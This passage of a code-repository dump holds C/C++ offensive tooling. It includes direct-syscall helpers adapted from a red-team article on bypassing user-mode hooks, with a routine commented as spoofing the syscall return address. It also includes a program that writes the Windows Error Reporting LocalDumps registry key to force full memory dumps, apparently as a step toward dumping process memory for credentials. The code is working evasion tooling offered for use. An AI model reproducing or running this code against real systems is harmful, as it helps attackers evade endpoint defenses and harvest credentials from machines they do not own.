SW3_SyscallList is populated. 237 | if (!SW3_PopulateSyscallList()) return -1; 238 | 239 | for (DWORD i = 0; i < SW3_SyscallList.Count; i++) 240 | { 241 | if (FunctionHash == SW3_SyscallList.Entries[i].Hash) 242 | { 243 | return i; 244 | } 245 | } 246 | 247 | return -1; 248 | } 249 | 250 | EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) 251 | { 252 | // Ensure SW3_SyscallList is populated. 253 | if (!SW3_PopulateSyscallList()) return NULL; 254 | 255 | for (DWORD i = 0; i < SW3_SyscallList.Count; i++) 256 | { 257 | if (FunctionHash == SW3_SyscallList.Entries[i].Hash) 258 | { 259 | return SW3_SyscallList.Entries[i].SyscallAddress; 260 | } 261 | } 262 | 263 | return NULL; 264 | } 265 | 266 | EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) 267 | { 268 | // Ensure SW3_SyscallList is populated. 269 | if (!SW3_PopulateSyscallList()) return NULL; 270 | 271 | DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; 272 | 273 | while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ 274 | // Spoofing the syscall return address 275 | index = ((DWORD) rand()) % SW3_SyscallList.Count; 276 | } 277 | return SW3_SyscallList.Entries[index].SyscallAddress; 278 | } 279 | -------------------------------------------------------------------------------- /Reg/RegSyscall/reg/sycall.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | #ifndef SW3_HEADER_H_ 7 | #define SW3_HEADER_H_ 8 | 9 | #include 10 | 11 | #define SW3_SEED 0x81D3AF65 12 | #define SW3_ROL8(v) (v << 8 | v >> 24) 13 | #define SW3_ROR8(v) (v >> 8 | v << 24) 14 | #define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) 15 | #define SW3_MAX_ENTRIES 500 16 | #define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) 17 | 18 | // Typedefs are prefixed to avoid pollution. 19 | 20 | typedef struct _SW3_SYSCALL_ENTRY 21 | { 22 | DWORD Hash; 23 | DWORD Address; 24 | PVOID SyscallAddress; 25 | } SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; 26 | 27 | typedef struct _SW3_SYSCALL_LIST 28 | { 29 | DWORD Count; 30 | SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; 31 | } SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; 32 | 33 | typedef struct _SW3_PEB_LDR_DATA { 34 | BYTE Reserved1[8]; 35 | PVOID Reserved2[3]; 36 | LIST_ENTRY InMemoryOrderModuleList; 37 | } SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; 38 | 39 | typedef struct _SW3_LDR_DATA_TABLE_ENTRY { 40 | PVOID Reserved1[2]; 41 | LIST_ENTRY InMemoryOrderLinks; 42 | PVOID Reserved2[2]; 43 | PVOID DllBase; 44 | } SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; 45 | 46 | typedef struct _SW3_PEB { 47 | BYTE Reserved1[2]; 48 | BYTE BeingDebugged; 49 | BYTE Reserved2[1]; 50 | PVOID Reserved3[2]; 51 | PSW3_PEB_LDR_DATA Ldr; 52 | } SW3_PEB, *PSW3_PEB; 53 | 54 | DWORD SW3_HashSyscall(PCSTR FunctionName); 55 | BOOL SW3_PopulateSyscallList(); 56 | EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); 57 | EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); 58 | EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); 59 | #ifndef InitializeObjectAttributes 60 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 61 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 62 | (p)->RootDirectory = r; \ 63 | (p)->Attributes = a; \ 64 | (p)->ObjectName = n; \ 65 | (p)->SecurityDescriptor = s; \ 66 | (p)->SecurityQualityOfService = NULL; \ 67 | } 68 | #endif 69 | 70 | typedef struct _UNICODE_STRING 71 | { 72 | USHORT Length; 73 | USHORT MaximumLength; 74 | PWSTR Buffer; 75 | } UNICODE_STRING, *PUNICODE_STRING; 76 | 77 | typedef struct _OBJECT_ATTRIBUTES 78 | { 79 | ULONG Length; 80 | HANDLE RootDirectory; 81 | PUNICODE_STRING ObjectName; 82 | ULONG Attributes; 83 | PVOID SecurityDescriptor; 84 | PVOID SecurityQualityOfService; 85 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 86 | 87 | EXTERN_C NTSTATUS NtSetValueKey( 88 | IN HANDLE KeyHandle, 89 | IN PUNICODE_STRING ValueName, 90 | IN ULONG TitleIndex OPTIONAL, 91 | IN ULONG Type, 92 | IN PVOID SystemData, 93 | IN ULONG DataSize); 94 | 95 | EXTERN_C NTSTATUS NtCreateKey( 96 | OUT PHANDLE KeyHandle, 97 | IN ACCESS_MASK DesiredAccess, 98 | IN POBJECT_ATTRIBUTES ObjectAttributes, 99 | IN ULONG TitleIndex, 100 | IN PUNICODE_STRING Class OPTIONAL, 101 | IN ULONG CreateOptions, 102 | OUT PULONG Disposition OPTIONAL); 103 | 104 | #endif 105 | -------------------------------------------------------------------------------- /Reg/reg.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #define UNLEN 256 4 | 5 | using namespace std; 6 | 7 | BOOL changeReg() { 8 | //check reg 9 | HKEY hRoot = HKEY_LOCAL_MACHINE; 10 | WCHAR szSubKey[UNLEN] = L"SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\LocalDumps"; 11 | HKEY hKey; 12 | 13 | DWORD dwDisposition = REG_OPENED_EXISTING_KEY; 14 | LONG lRet = RegCreateKeyExW(hRoot, szSubKey, 0, NULL, 15 | REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition); 16 | if (lRet == ERROR_SUCCESS) 17 | { 18 | wcout << L"reg create ok!" << endl; 19 | } 20 | 21 | DWORD type = 2; 22 | lRet = RegSetValueExW(hKey, L"DumpType", 0, REG_DWORD, (BYTE*)&type, sizeof(type)); 23 | if (lRet == ERROR_SUCCESS) 24 | { 25 | wcout << L"reg set ok!" << endl; 26 | return TRUE; 27 | } 28 | RegCloseKey(hKey); 29 | return FALSE; 30 | } --------------------------------------------------------------------------------